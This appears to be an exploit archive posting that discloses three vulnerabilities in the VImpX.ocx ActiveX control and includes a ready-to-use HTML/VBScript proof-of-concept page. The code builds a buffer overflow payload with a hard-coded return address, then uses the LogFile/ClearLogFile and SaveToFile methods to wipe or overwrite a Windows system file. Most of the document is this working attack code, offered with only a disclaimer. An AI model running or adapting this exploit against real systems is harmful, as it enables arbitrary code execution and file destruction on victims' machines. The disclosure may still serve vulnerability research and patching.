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db Software Laboratory VImpX (VImpX.ocx) Multiple Vulnerabilities
[=================================================================
db Software Laboratory VImpX (VImpX.ocx) Multiple Vulnerabilities
=================================================================
-----------------------------------------------------------------------------
db Software Laboratory VImpX (VImpX.ocx) Multiple vulnerabilities
url: http://www.dbsoftlab.com/
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net
Info:
File: VImpX.ocx v. 4.8.8.0
CLSID: {7600707B-9F47-416D-8AB5-6FD96EA37968}
ProgID: VImpX.VImpAX
Description: VImpAX Control
Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
Vulnerbale method:
Property Let LogFile As String
Sub ClearLogFile
Sub SaveToFile (ByVal FileName As String)
Bug(s):
#1 Passing an overly long string (more than 256 bytes), will lead into
a stack based buffer overflow which allows arbitrary code execution
#2 The "LogFile()" method doesn't check user supplied arguments so we can
use it to store the file name we want to clear and then the
"ClearLogFile()" to delete the content of the file
#3 The "SaveToFile()" method doesn't check user supplied arguments so we
can use it to overwrite the content of the file name passed as
argument.
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='test' width='20' height='20'></object>
<input language=VBScript onclick=bof() type=button value='Click here to start the Remote Buffer Overflow test' style="width: 361px; height: 24px" size=21>
<input language=VBScript onclick=afd() type=button value='Click here to start the File Content Deletion test' style="width: 361px; height: 24px" size=21>
<input language=VBScript onclick=afc() type=button value='Click here to start the File Content Corruption test' style="width: 361px; height: 24px" size=21>
<script language='vbscript'>
Sub bof
buff = String(256,"A")
EDI = unescape("BBBB")
ESI = unescape("CCCC")
EBX = unescape("DDDD")
EIP = unescape("%C6%91%3A%7E") 'unescape("EEEE")
buf2 = unescape("FFFFFFFFFFFFFFFFFFFF")
memo = unescape("%00%00%01%00")
rest = unescape("GGGG") + String(2000, "H")
egg = buff + EDI + ESI + EBX + EIP + buf2 + memo + rest
test.LogFile = egg
End Sub
Sub afd
test.LogFile = "C:\WINDOWS\_system.ini"
test.ClearLogFile
MsgBox "Exploit completed..."
End Sub
Sub afc
test.SaveToFile "C:\WINDOWS\_system.ini"
MsgBox "Exploit completed..."
End Sub
</script>
# 0day.today [2024-11-16] #